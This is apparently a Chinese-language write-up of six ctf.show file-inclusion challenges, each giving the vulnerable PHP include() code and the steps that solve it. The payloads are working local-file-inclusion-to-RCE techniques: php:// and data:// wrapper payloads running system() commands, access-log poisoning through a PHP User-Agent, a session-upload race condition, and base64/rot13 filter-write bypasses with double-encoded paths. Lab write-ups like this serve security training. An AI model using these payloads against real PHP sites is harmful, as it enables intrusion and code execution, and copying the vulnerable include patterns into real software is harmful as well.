(1)
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
解题思路:PHP伪协议
PS:?file=php://filter/convert.base64-encode/resource=flag.php
(2)
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
解题思路:PHP伪协议
PS:
?file=data://text/plain,<?=system('ls');?>
?file=data://text/plain,<?=system('tac flag*');?>
(3)
①if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
②if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
解题思路:
本关过滤了php和data应该是不允许使用伪协议,但是可以正常包含,采用包含日志文件的方式。包含日志文件,日志文件中包含了URL以ua信息等,这里ua最容易控制,抓包改ua,进行getshell
日志文件路径:?file=/var/log/nginx/access.log
GET /?file=/var/log/nginx/access.log HTTP/1.1
Host: ef479e6d-ac19-437c-98e7-3d77b08626fb.challenge.ctf.show
User-Agent: <?php system('ls');?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
GET /?file=/var/log/nginx/access.log HTTP/1.1
Host: ef479e6d-ac19-437c-98e7-3d77b08626fb.challenge.ctf.show
User-Agent: <?php system('base64 fl0g.php');?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
(4)
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
解题思路:
通过上传PHP_SESSION_UPLOAD_PROGRESS
来访问/tmp/sess_xxx
,最后加上条件竞争来进行文件包含
①将以下的代码复制到记事本上保存为html后缀的文件,蓝色位置修改为题目位置
<!DOCTYPE html>
<html>
<body>
<form action="http://ed5a888e-8a6b-4e9f-9f47-0d3922ca327d.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>
②打开网页后,开启代理,随便上传一个文件(里边内容最好为一句话木马)抓包
③将其发送给Inturder,然后我们添加一个 Cookie :PHPSESSID=flag 和<?php system('ls');?>,PHP将会在服务器上创建一个文件:/tmp/sess_flag” (这里我们猜测session文件默认存储位置为/tmp),并在PHP_SESSION_UPLOAD_PROGR添加一句话木马,修改如下:
④因为我们在上面这个页面添加的ID值是flag,所以回到题目页面上传参?file=/tmp/sess_flag
⑤这里为了能成功抓包,我们可以先把代理和拦截请求关闭,get传参完毕后再将拦截请求和代理打开,刷新页面后,即可成功抓包,然后再次发送给Inturder。这个a是随便加的,主要是为了方便爆破,这里注意加a的时候要空一行
⑥接下来我们要用条件竞争来访问,所以要将这两个包同时爆破,其实就是一个不停的发送,一个不停的访问,总会有几个在删除之前访问到的,这就是条件竞争。以下是爆破的有效载荷设置:
⑦开始攻击,在攻击结束后我们调整长度,查看第一个进程的响应可以发现fl0g.php
⑧接下来,我们返回Inturder界面,将命令ls改为cat fl0g.php
⑨ 最后,我们继续将抓到的两个包一起进行爆破,攻击结束后调整长度,查看第一个进程的响应可以得到flag
(5)
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
解题思路:"<?php die('大佬别秀了');?>".$conten
可知我们输入的内容前面被塞上了<?php die('大佬别秀了');?>
,如何绕过它执行我们的php代码是一个重点
题解一:rot13编码(凯撒密码位移13)
①使用hackbar进行
php://filter的妙用(可在工具栏中使用)(这里要注意把read改为write)
②POST传参content内容:<?php system('tac f*.php');?> rot13编码后 <?cuc flfgrz('gnp s*.cuc');?>
传参content=<?cuc flfgrz('gnp s*.cuc');?>
③urldecode($file)题目对file进行了URL编码,$file
为写入文件的路径,题目对其进行一次url解码,而浏览器也要进行一次url解码,所以我们对输入的payload进行2次url编码就可以绕过过滤(借助Notepad++的插件工具)
④2次URL编码后,便可以执行命令了
⑤返回为空白页面,我们打开刚刚的2.php页面,看命令有没有成功执行,命令成功执行,发现flag
http://c270b237-7de8-4726-8209-456bbfd1ad39.challenge.ctf.show/2.php(这里要注意不能再传参了,而是直接/2.php)
题解二:base64编码
①POST传参content:
<?php system('ls');?> base64编码
PD9waHAgc3lzdGVtKCdscycpOz8+
写入的文件内容
<?php die('大佬别秀了');?>
PD9waHAgc3lzdGVtKCdscycpOz8+
补两个a
content=aaPD9waHAgc3lzdGVtKCdscycpOz8+
②对file进行两次全编码(使用Notepad++的插件工具全编码)
?file=php://filter/write=convert.base64-decode/resource=flag.php 全编码后
%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%36%25%36%43%25%36%31%25%36%37%25%32%45%25%37%30%25%36%38%25%37%30
③执行后,返回空白页面,接着打开flag.php页面,发现了fl0g.php文件
④接下来我们只需重复以上的操作,将命令修改一下
<?php system('tac f*.php');?> base64编码后
PD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=
加上两个a
content=aaPD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=
⑤打开flag.php页面
(6)
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
解题思路:
直接使用伪协议:即?file=data://text/plain;base64,base64以后的命令
?file=data://text/plain;base64,<?php system('tac *.php');?>
进行base64编码:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4